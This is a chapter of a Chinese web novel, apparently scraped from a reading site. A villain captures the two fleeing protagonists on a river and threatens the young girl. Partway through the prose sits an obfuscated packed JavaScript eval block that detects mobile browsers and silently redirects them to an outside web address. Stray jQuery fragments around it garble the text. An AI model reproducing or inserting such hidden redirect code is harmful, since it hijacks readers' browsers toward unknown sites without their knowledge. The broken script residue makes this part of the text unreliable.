23.阶下囚

作品:《拯救被强夺的美强惨

    艄公话音将落,阖眸休息的二人不约而同站起,走到船头,放眼四望。


    果然,江面上渐渐腾起一层乳白色水雾,丝丝缕缕交缠,以肉眼可见的速度蔓延开,汇聚成茫茫雾海,两岸山峦也变得模糊不清、若有若无,彷佛海市蜃楼般遥远。


    随着视野受阻,小船的速度不由得慢下来,“嘎吱”“嘎吱”桨声荡起回音,衬得周遭更加寂静。


    眼见着舟舫驶入前方的水道,江道两侧,峭壁高耸,直直插入天际,将本就昏暗的光线又挡去了几分。


    呼吸间都是厚重冰凉的雾气,侵染在裸.露的肌肤上,小鱼蓦地打了个寒颤,心中涌起股不祥的预感。


    就在二人神色凝重时,前方雾气中遽然传来一声鼓响,令人心头骤紧——


    白茫茫雾海里,只见一点黑色徐徐飞出,距离近了,才发现那是一只半个巴掌大的黑色蝴蝶,两边翅膀闪烁着银色斑点,姿态轻灵,如同梦境般虚幻。


    江水汤汤,山壁阻隔,小船无法后退,只能眼看着黑蝶翩翩而来,抖着长须在上空盘旋,顷刻似乎确定什么,直直落在船头处,长身玉立的男子肩头。


    面对这般情景,元霁月纹丝未动,眸色浓如黑夜,他忽而抬手一把攥住肩上玄蝶,用力收紧,霎时似乎能听到骨节咯吱的声响。


    伴随蝴蝶碎为齑粉,那股曾日日夜夜缭绕身际的糜香顿时弥散开来,小鱼心口“咚”的一声,缓缓坠入无底寒潭。


    与此同时,沉雷般的鼓点越急,前方十丈处,浓白雾气里渐渐现出一艘乌铁巨船,速度不急不缓,船头站着一抹玄金色高大身影,负手而立,身后雁翅般排开两列杀气腾腾的黑衣人。


    他们的舟舫被这艘大船硬生生逼停,小鱼扶着元霁月站稳,抿唇望向那方。


    对面船上,秦仲渊居高临下,高鼻深目神色晦暗,玄底错金的袍子被风吹得猎猎作响,低沉嗓音裹着冰冷江风压下来。


    “霁月,你以为在船上,我只给你下了一味糜蝶么?”


    他毫无笑意地扯起唇角,“那你未免太小看自己,也低估我了。”


    “三日已到,船下风光也该看够,霁月,是时候回本座身边了。”


    *


    从逃下船至今,他们是因努力和幸运才逃过一劫,还是……始终就在此人手心,随意把玩戏弄,冷眼旁观到最后一刻,方才粉墨登场,轻易破碎他们的所有希望?


    小鱼不知道,也没机会再去思考,扶着男子的那只手被他同样紧紧握住,紧到生出疼痛,紧到交换彼此的心跳与温度。


    元霁月,对眼下场景,又是如何作想?


    兴许只有八字,意料之中,情理之外。


    于他而言,遇上小鱼的那刻起,就已是一场豪赌,一场必输之局,被她硬生生凭着单薄双臂,将他从船上救出、江底救起,跌跌撞撞走到现在,哪怕终究逃不开眼下结果,对于他们已是莫大的胜利。


    或许曾有一瞬,二人距离彻底挣脱困局仅一步之遥。可当对手是秦仲渊这般狠辣决绝之辈,这场较量便早已注定是不死不休的结局。


    江面上,两方舟船对峙,悬殊之势一目了然。


    事到如今,元霁月不欲拖累旁人,刚松开小鱼的手,举步要往对面大船而去,忽感衣袖一紧——小鱼反手死死攥住他的袖口,指尖因用力泛出青白,杏眸里满是坚定与恳求。


    与此同时,更有天莲宗门人自大船跃到舟舫上,执坚披锐,团团围住二人,张口就是“主上有请,烦请两位随我等上船。”


    最终,只有吓得不轻的船家夫妇被允许离开,二人则被搜身、卸去所有防身之物,再被押到大船甲板上。


    相较先前那艘破旧货船,眼前天莲宗的大船更显宽阔豪奢。厅内明亮通透,秦仲渊大马金刀地坐在上首雕龙金椅上,身侧黑衣部属环伺,俱是目不转睛地盯着堂下二人,恍若群狼环伺猎物。


    此情此景,堪称人为刀俎我为鱼肉。


    “霁月,多日不见,别来无恙。”


    鎏金宝座在日光下泛着冷硬的光,秦仲渊斜倚其上,大拇指摩挲着血玉扳指,声线慢悠悠地荡开。


    “你身旁此女,倒是颇为眼熟,叫本座陡然记起,此人不但乔装过船工,还曾替星若送信给本座。”


    指尖叩了叩扶手,“看在霁月的份上,本座已饶了那对行船夫妇。可此女三番五次挑衅本座,处心积虑带走你,”他似笑非笑地睇睨而来,“霁月且说说,本座该如何‘款待’她才好?”


    猫捉老鼠,最残忍的不是将对手一击毙命,而在于攥住那团温软血肉后,一点点碾磨其筋骨、摧折其神志,直教它求生不得求死不能,方能满足胜者骨子里的狠戾残忍。


    更何况,跟前这个看似平平无奇的渔女,竟三番五次从秦仲渊掌心脱逃,向来高高在上的他,如何能容忍这般一而再的冒犯?


    任谁都听得出,他的这番 “询问” 不过上位者的戏耍。纵是元霁月舌灿莲花,秦仲渊也断然不会饶过这个屡屡挑衅他威严的女子——定要以最酷烈的刑罚将其折磨至死,方能泄他胸中火气。


    再是胆大,小鱼也不过是刚满十六岁的少女。面对满堂森冷目光,她强撑着欲回以怒视,身体却仍难以抑制地微微发颤。


    下一瞬,眼前暗下来——是元霁月拖着尚未恢复的身躯,一步将她护至身后,用身体挡住那些不怀好意的目光。


    药效未解加上多日奔波,元霁月的声音仍然虚弱,却透着磐石难移的坚定沉稳。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600709|170896||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “秦仲渊,你若敢伤她分毫,不管你抓我来这的目的是什么,此生都休想得逞。”


    他一字一顿,重若千钧,“就算此刻我功力全失,杀不了你,但自绝于此还是不难的,你若不信,便来试试。”


    宝座上,敲击扶手的动作骤然顿住。秦仲渊缓缓直起身,狭长双眸危险地眯起,寒光涌动地盯着二人。


    “你要用自己的命换她的命?”没有料到这个回答,秦仲渊挑眉嗤然,只觉得意外和可笑,“不愧是正道少侠,才几日功夫,便能以命报恩了……早知如此,本座该换场英雄救美的局,也无需眼下这般费劲……”


    任他百般讥讽,元霁月不为所动,面色冷硬如铁,只有那句短而有力的。


    “放小鱼走,其后你想做什么,只管冲着我来。”


    见他全然一幅软硬不吃、分毫不让的模样,秦仲渊的放肆冷笑一下子收起,脸色霎时阴沉似墨,霍然起身,前刻身处上位、从容不迫的姿态荡然无存。


    “元三公子,既为阶下囚,你该认清楚,如今的你没资格和本座谈条件!哪怕你自尽于此,本座照样能杀了她,不,届时我定要让她求生不得、求死不能,后悔此生来到这世间!”


    秦仲渊的厉喝在大厅中回荡,惊得鸦雀无声,黑衣人们战栗地刷刷低头。前面的元霁月双拳紧握,就连小鱼也能清晰察觉到他此刻的紧绷和压抑的愤怒。


    即便头皮发麻汗毛耸立,小鱼咽了口唾沫,狠狠心想要走出他身后,自己去面对,熟料他好似背后长了眼睛,趁人不注意背手捉住她手臂,牢若铁箍,让她完全动弹不得。


    “秦仲渊,你要怎么才肯放过她,直说便是。”


    元霁月语若寒冰,毫无退避之意,哪怕身处绝境,亦是凤眸冰冷地与他对峙。


    为了保住此女性命,他当真不惜一切,准备与他抗争到底。


    ——秦仲渊毫无防备地领悟到这个事实,既觉得荒谬,更有止不住的怒火涌上心头。


    何其可笑!他贵为天莲宗“绝夜”,费尽心机都没得到元霁月的半个眼神和青睐,这个不知哪里冒出来的女人却能让他以命相护,简直是对他的最大羞辱。


    惊愕、愤怒、嫉妒……满腔恶意如洪流般冲散本就所剩不多的理智,秦仲渊骤然用力,随着 “咔嚓”一声,坚硬扳指在掌心化作齑粉。


    他的视线恍如淬毒,盯着小鱼几欲将之粉碎。


    “好!既然你不顾一切也要保住她,我便不取她性命,只需你亲眼看着下面这一切——来人,把东西拿来。”


    满腔怒火烧的血液沸腾,秦仲渊声如雷霆,挥袖下令。


    随着他一声令下,旁边黑衣人立刻应“喏”,躬身递上一个白瓷药瓶,拇指大小,不知装着何物。